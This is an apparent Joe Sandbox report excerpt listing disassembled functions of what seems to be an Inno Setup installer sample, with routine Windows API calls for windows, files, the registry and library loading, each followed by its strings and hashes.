Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: MessageSend
String ID: Cannot debug. Debugger version ($%.8x) does not match Setup version ($%.8x)$Failed to create DebugClientWnd
API String ID: 3850602802-3720027226
Opcode ID: 6dc4dd13ffff63052e532ec2970cf3a172fdf6ef35738a55e650b02f86b7c4d3
Instruction ID: 7b454b92cb1dfb233f50f2560aabdc39b6abe04e8f027f2194e5078dec578530
Opcode Fuzzy Hash: 6dc4dd13ffff63052e532ec2970cf3a172fdf6ef35738a55e650b02f86b7c4d3
Instruction Fuzzy Hash: 571127706083409BE310ABA8DC81B5FBBD89B14719F01403AFE849B3C3D7795818C7AE

Function 0047820C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 004242C4: SetWindowTextA.USER32(?,00000000), ref: 004242DC

GetFocus.USER32 ref: 00478277
GetKeyState.USER32(0000007A), ref: 00478289
WaitMessage.USER32(?,00000000,004782B0,?,00000000,004782D7,?,?,00000001,00000000,?,?,?,0047FEE6,00000000,00480DAC), ref: 00478293

Strings

Wnd=$%x, xrefs: 0047825B

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: FocusMessageStateTextWaitWindow
String ID: Wnd=$%x
API String ID: 1381870634-2927251529
Opcode ID: f1958697a4901136eb243dbe20eb39cbb326672f79de8de72c1a435ff1b0447b
Instruction ID: 17992b3effc84475d262d1a309b63da61542e22f0e105337c9737e95fd9359ad
Opcode Fuzzy Hash: f1958697a4901136eb243dbe20eb39cbb326672f79de8de72c1a435ff1b0447b
Instruction Fuzzy Hash: B811A730644644AFC701FF65DC5999E7BB8EB49304F9184FAF408E7692DB386900CA69

Function 0046E484 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46timeCOMMON

Download Yara Rule

APIs

FileTimeToLocalFileTime.KERNEL32(?), ref: 0046E48C
FileTimeToSystemTime.KERNEL32(?,?,?), ref: 0046E49B

Strings

%.4u-%.2u-%.2u %.2u:%.2u:%.2u.%.3u, xrefs: 0046E510
(invalid), xrefs: 0046E51E

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Time$File$LocalSystem
String ID: %.4u-%.2u-%.2u %.2u:%.2u:%.2u.%.3u$(invalid)
API String ID: 1748579591-1013271723
Opcode ID: 2c82eb517319c4feb0678a2222fa1caa0c7cc9d70da35f771929cd42352f02e5
Instruction ID: a22b2a007e2cf2d6de8f80eb00497e2bff53ee2dc74e74251f844a221e221b1c
Opcode Fuzzy Hash: 2c82eb517319c4feb0678a2222fa1caa0c7cc9d70da35f771929cd42352f02e5
Instruction Fuzzy Hash: 3711F8A440C3919ED340DF6AC44432BBAE4AB89708F44496EF9C8D6381E77AC948DB67

Function 00453F76 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43fileCOMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNEL32(00000000,00000020), ref: 00453F83

Part of subcall function 00406F50: DeleteFileA.KERNEL32(00000000,0049B628,00498261,00000000,004982B6,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex,?,00000005,00000000), ref: 00406F5B

MoveFileA.KERNEL32(00000000,00000000), ref: 00453FA8

Part of subcall function 0045349C: GetLastError.KERNEL32(00000000,00454031,00000005,00000000,00454066,?,?,00000000,0049B628,00000004,00000000,00000000,00000000,?,00497F15,00000000), ref: 0045349F

Strings

MoveFile, xrefs: 00453FB1
DeleteFile, xrefs: 00453F94

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: File$AttributesDeleteErrorLastMove
String ID: DeleteFile$MoveFile
API String ID: 3024442154-139070271
Opcode ID: 75fc53fd0ddaa48128ef6cce4dae119495c42920ad3f5386662393d2e6d8c133
Instruction ID: b5871bee3d194af1fa843ac656f6d820fc0ba16d57580c91db5694710367c43f
Opcode Fuzzy Hash: 75fc53fd0ddaa48128ef6cce4dae119495c42920ad3f5386662393d2e6d8c133
Instruction Fuzzy Hash: AEF062716142045BD701FBA2D84266EA7ECDB8435EF60443BB900BB6C3DA3C9E094529

Function 004591B4 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,004836C7,?,00000001,?,?,004836C7,?,00000001,00000000), ref: 0042DE38

RegCloseKey.ADVAPI32(00000000,00000000,00000001,00000000,?,00000000,?,00000002,004592F1,00000000,004594A9,?,00000000,00000000,00000000), ref: 00459201

Strings

.NET Framework not found, xrefs: 00459210
SOFTWARE\Microsoft\.NETFramework, xrefs: 004591D4
InstallRoot, xrefs: 004591F0

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CloseOpen
String ID: .NET Framework not found$InstallRoot$SOFTWARE\Microsoft\.NETFramework
API String ID: 47109696-2631785700
Opcode ID: 7bfc696592b003d8a6b238063e783ff3189b4dca7eb8d211325608debd19b0e7
Instruction ID: d749d17306166952b18a3f7a40743e5d4d539800c31903ae925bcb827c574b5e
Opcode Fuzzy Hash: 7bfc696592b003d8a6b238063e783ff3189b4dca7eb8d211325608debd19b0e7
Instruction Fuzzy Hash: EEF0C231700150EBCB10EB9AD895B4E7398DB95356F50453BF980CB263C63CCC0ACA6E

Function 004836A8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 39registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DE1C: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,004836C7,?,00000001,?,?,004836C7,?,00000001,00000000), ref: 0042DE38

RegQueryValueExA.ADVAPI32(?,CSDVersion,00000000,?,?,?,?,00000001,00000000), ref: 004836E9
RegCloseKey.ADVAPI32(?,?,CSDVersion,00000000,?,?,?,?,00000001,00000000), ref: 0048370C

Strings

CSDVersion, xrefs: 004836E0
System\CurrentControlSet\Control\Windows, xrefs: 004836B6

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: CSDVersion$System\CurrentControlSet\Control\Windows
API String ID: 3677997916-1910633163
Opcode ID: b08de6e064ab0066fdf25e92b32557c09a13beb56fb99f55e24ba5929372f4fd
Instruction ID: e2e1efa57e06e253ed5c33608a99233e6d60fcd3e82f395225068b7938859aaf
Opcode Fuzzy Hash: b08de6e064ab0066fdf25e92b32557c09a13beb56fb99f55e24ba5929372f4fd
Instruction Fuzzy Hash: 07F036F5A40209B6DF10EBD1CC45B9F77FC9B04B05F108567E910E7280E678DB048B59

Function 0042D8F0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GetSystemWow64DirectoryA,?,00453B5A,00000000,00453BFD,?,?,00000000,00000000,00000000,00000000,00000000,?,00453FED,00000000), ref: 0042D90A
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 0042D910

Strings

kernel32.dll, xrefs: 0042D905
GetSystemWow64DirectoryA, xrefs: 0042D900

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetSystemWow64DirectoryA$kernel32.dll
API String ID: 1646373207-4063490227
Opcode ID: 3965e48138ab8598cb17ff311cd558fd433aca8a834515e354a81fb776e31baf
Instruction ID: 657275fb9dfacbe144619f02b172540cf2f0c5a6f4252bec6bd03a25d2dd35a2
Opcode Fuzzy Hash: 3965e48138ab8598cb17ff311cd558fd433aca8a834515e354a81fb776e31baf
Instruction Fuzzy Hash: A5E0DFE0B40B0122D70032BA1C82B6B108D4B84728F90053B3894E62D6DDBCD9840A6D

Function 0042EB54 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 23libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll,ShutdownBlockReasonDestroy,?,00000000,0042EAD0), ref: 0042EB62
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0042EB68

Strings

ShutdownBlockReasonDestroy, xrefs: 0042EB58
user32.dll, xrefs: 0042EB5D

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: ShutdownBlockReasonDestroy$user32.dll
API String ID: 1646373207-260599015
Opcode ID: 88ce12e330a2fc51ece58c284b54de3a76b504cb94a4c995bd1a3fb2c6ea0693
Instruction ID: e1ec077e445c8734ae54db5ffdd633522f5c412f0b7fee52e54de0d29bb4c321
Opcode Fuzzy Hash: 88ce12e330a2fc51ece58c284b54de3a76b504cb94a4c995bd1a3fb2c6ea0693
Instruction Fuzzy Hash: A2D0C793311732665D10B1F73CD1EAB058C891527935404B7F515E5641D55DEC1115AD

Function 0044F744 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll,NotifyWinEvent,00498762), ref: 0044F77F
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0044F785

Strings

user32.dll, xrefs: 0044F77A
NotifyWinEvent, xrefs: 0044F775

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: NotifyWinEvent$user32.dll
API String ID: 1646373207-597752486
Opcode ID: f97c3de5cacafbf63d36e16939e29d51eb7e912e87a0fb2b79f6fc39cd446e20
Instruction ID: 5e946f17392c81a4f172a46fe169fb9a1f72c9003761a5edf28bd31acc2f1150
Opcode Fuzzy Hash: f97c3de5cacafbf63d36e16939e29d51eb7e912e87a0fb2b79f6fc39cd446e20
Instruction Fuzzy Hash: 59E012F0E417049AFF00BBB57B86B1A3A90E764719B00057FF414A6292DB7C481C4F9D

Function 004984D8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll,DisableProcessWindowsGhosting,004987B8,00000001,00000000,004987DC), ref: 004984E2
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 004984E8

Strings

DisableProcessWindowsGhosting, xrefs: 004984D8
user32.dll, xrefs: 004984DD

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: DisableProcessWindowsGhosting$user32.dll
API String ID: 1646373207-834958232
Opcode ID: 0a6869f336692cffb72a3d37b5043cace6ddfe1b26e102b83d1b95de8ab3ca94
Instruction ID: 53974a48addda20669242eeec291eced9f9b3ea586a0102388b68221815f3be9
Opcode Fuzzy Hash: 0a6869f336692cffb72a3d37b5043cace6ddfe1b26e102b83d1b95de8ab3ca94
Instruction Fuzzy Hash: 8EB092C0280703689C8032BA0C02F1F08484C4272CB10003F3810A40C7ED6CDC00083D

Function 00464468 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 8libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 0044B658: LoadLibraryA.KERNEL32(uxtheme.dll,?,0044F775,00498762), ref: 0044B67F
Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,OpenThemeData), ref: 0044B697
Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,CloseThemeData), ref: 0044B6A9
Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,DrawThemeBackground), ref: 0044B6BB
Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,DrawThemeText), ref: 0044B6CD
Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 0044B6DF
Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 0044B6F1
Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,GetThemePartSize), ref: 0044B703
Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,GetThemeTextExtent), ref: 0044B715
Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,GetThemeTextMetrics), ref: 0044B727
Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,GetThemeBackgroundRegion), ref: 0044B739
Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,HitTestThemeBackground), ref: 0044B74B
Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,DrawThemeEdge), ref: 0044B75D
Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,DrawThemeIcon), ref: 0044B76F
Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,IsThemePartDefined), ref: 0044B781
Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,IsThemeBackgroundPartiallyTransparent), ref: 0044B793
Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,GetThemeColor), ref: 0044B7A5
Part of subcall function 0044B658: GetProcAddress.KERNEL32(00000000,GetThemeMetric), ref: 0044B7B7

LoadLibraryA.KERNEL32(shell32.dll,SHPathPrepareForWriteA,0049878A), ref: 00464477
GetProcAddress.KERNEL32(00000000,shell32.dll), ref: 0046447D

Strings

SHPathPrepareForWriteA, xrefs: 0046446D
shell32.dll, xrefs: 00464472

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: SHPathPrepareForWriteA$shell32.dll
API String ID: 2238633743-2683653824
Opcode ID: 43e9449c42c64eafa185df201a3e78782dc27b2a49daecccd0491a4bbbb3dbf6
Instruction ID: aee408708d02c77079155b2370532760acd370d0883c3ae68736bebce920fed0
Opcode Fuzzy Hash: 43e9449c42c64eafa185df201a3e78782dc27b2a49daecccd0491a4bbbb3dbf6
Instruction Fuzzy Hash: 73B09290681740A8CA007BB2289BB0F2A4894B072E7A2463B7008710C6EF7C84204A6E

Function 0047D16C Relevance: 6.2, APIs: 4, Instructions: 195fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNEL32(000000FF,?,00000000,0047D2E0,?,?,?,?,00000000,0047D435,?,?,?,00000000,?,0047D544), ref: 0047D2BC
FindClose.KERNEL32(000000FF,0047D2E7,0047D2E0,?,?,?,?,00000000,0047D435,?,?,?,00000000,?,0047D544,00000000), ref: 0047D2DA

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Find$CloseFileNext
String ID:
API String ID: 2066263336-0
Opcode ID: 1bb33653f71372efa694325d8d6b641fbfb84b71fff8fb7ce2a7bf965ad77fdb
Instruction ID: 813c4c7e096b0537259228c6ce98783779beb739e450e2ccca0bb42f0b61749a
Opcode Fuzzy Hash: 1bb33653f71372efa694325d8d6b641fbfb84b71fff8fb7ce2a7bf965ad77fdb
Instruction Fuzzy Hash: 6A813B30D0024D9FDF11DFA5C845ADFBBB9EF49304F5080EAE808A3292D639AA46CF55

Function 00475420 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 114COMMON

Download Yara Rule

APIs

Part of subcall function 0042EE30: GetTickCount.KERNEL32 ref: 0042EE36

Part of subcall function 0042EC88: MoveFileExA.KERNEL32(00000000,00000000,00000001(MOVEFILE_REPLACE_EXISTING)), ref: 0042ECBD

GetLastError.KERNEL32(00000000,00475595,?,?,0049C1DC,00000000), ref: 0047547E

Strings

, xrefs: 004754B6, 004754D1
MoveFileEx, xrefs: 004754E3
LoggedMsgBox returned an unexpected value. Assuming Cancel., xrefs: 00475553

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CountErrorFileLastMoveTick
String ID: $LoggedMsgBox returned an unexpected value. Assuming Cancel.$MoveFileEx
API String ID: 2406187244-2685451598
Opcode ID: c178663150e68b17ede051a88a8c0b8e52ebf449323b5d146d45458d51117132
Instruction ID: cb6e190203de8706f01eb9277cb95c8d8a5d25c2e0fbb05709c61410d89611bd
Opcode Fuzzy Hash: c178663150e68b17ede051a88a8c0b8e52ebf449323b5d146d45458d51117132
Instruction Fuzzy Hash: 9E41B770A006099BCB10EFA5D882AEE77B5EF48314F608537E404BB355D7789A418BAD

Function 00413CF8 Relevance: 6.1, APIs: 4, Instructions: 107COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00413D46
GetDesktopWindow.USER32 ref: 00413DFE

Part of subcall function 00418EC0: 6F59C6F0.COMCTL32(?,00000000,00413FC3,00000000,004140D3,?,?,0049B628), ref: 00418EDC
Part of subcall function 00418EC0: ShowCursor.USER32(00000001,?,00000000,00413FC3,00000000,004140D3,?,?,0049B628), ref: 00418EF9

SetCursor.USER32(00000000,?,?,?,?,00413AF3,00000000,00413B06), ref: 00413E3C

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CursorDesktopWindow$Show
String ID:
API String ID: 2074268717-0
Opcode ID: 48e3412c1a46991eea637d4b1b247886da5b7466a2ee9d80c19fa9edf3c8b710
Instruction ID: d0219f8535474b9b7e790bb207accfb6dce16a9ac66decbe361331da1304c66b
Opcode Fuzzy Hash: 48e3412c1a46991eea637d4b1b247886da5b7466a2ee9d80c19fa9edf3c8b710
Instruction Fuzzy Hash: 91412C75600210AFC710DF2AFA84B56B7E1EB65329B16817BE405CB365DB38DD81CF98

Function 00408A54 Relevance: 6.1, APIs: 4, Instructions: 95windowCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00400000,?,00000100), ref: 00408A75
LoadStringA.USER32(00400000,0000FF9E,?,00000040), ref: 00408AE4
LoadStringA.USER32(00400000,0000FF9F,?,00000040), ref: 00408B7F
MessageBoxA.USER32(00000000,?,?,00002010), ref: 00408BBE

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: LoadString$FileMessageModuleName
String ID:
API String ID: 704749118-0
Opcode ID: ede814ba8b2c905ab74f80468cae56b5ab65d73ed59c96bbcc76a4520df8398d
Instruction ID: 7d65b0a5aa49ad722f3f3263bbe29e3330acee4661d9e2153cfe083702b22da2
Opcode Fuzzy Hash: ede814ba8b2c905ab74f80468cae56b5ab65d73ed59c96bbcc76a4520df8398d
Instruction Fuzzy Hash: 1F3123716083849AD370EB65C945BDF77D89B85704F40483FB6C8E72D1EB7859048B6B

Function 0044E8C4 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,000001A1,?,00000000), ref: 0044E90D

Part of subcall function 0044CF50: SendMessageA.USER32(00000000,000001A0,?,00000000), ref: 0044CF82

InvalidateRect.USER32(00000000,00000000,00000001,00000000,000001A1,?,00000000), ref: 0044E991

Part of subcall function 0042BBB4: SendMessageA.USER32(00000000,0000018E,00000000,00000000), ref: 0042BBC8

IsRectEmpty.USER32(?), ref: 0044E953
ScrollWindowEx.USER32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000006), ref: 0044E976

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: MessageSend$Rect$EmptyInvalidateScrollWindow
String ID:
API String ID: 855768636-0
Opcode ID: e9e3cf1fe88063870224b64a3ffaafaa7ea9294743723d0f52b5b35edb71e9c8
Instruction ID: f7bad605b8f68185b4e834990bb8ca2287257270a928060092b59a923d315d7c
Opcode Fuzzy Hash: e9e3cf1fe88063870224b64a3ffaafaa7ea9294743723d0f52b5b35edb71e9c8
Instruction Fuzzy Hash: E5114A71B0030067E650BA7B8C86B5B76C9AB88748F15083FB545EB387DE7DDD094299

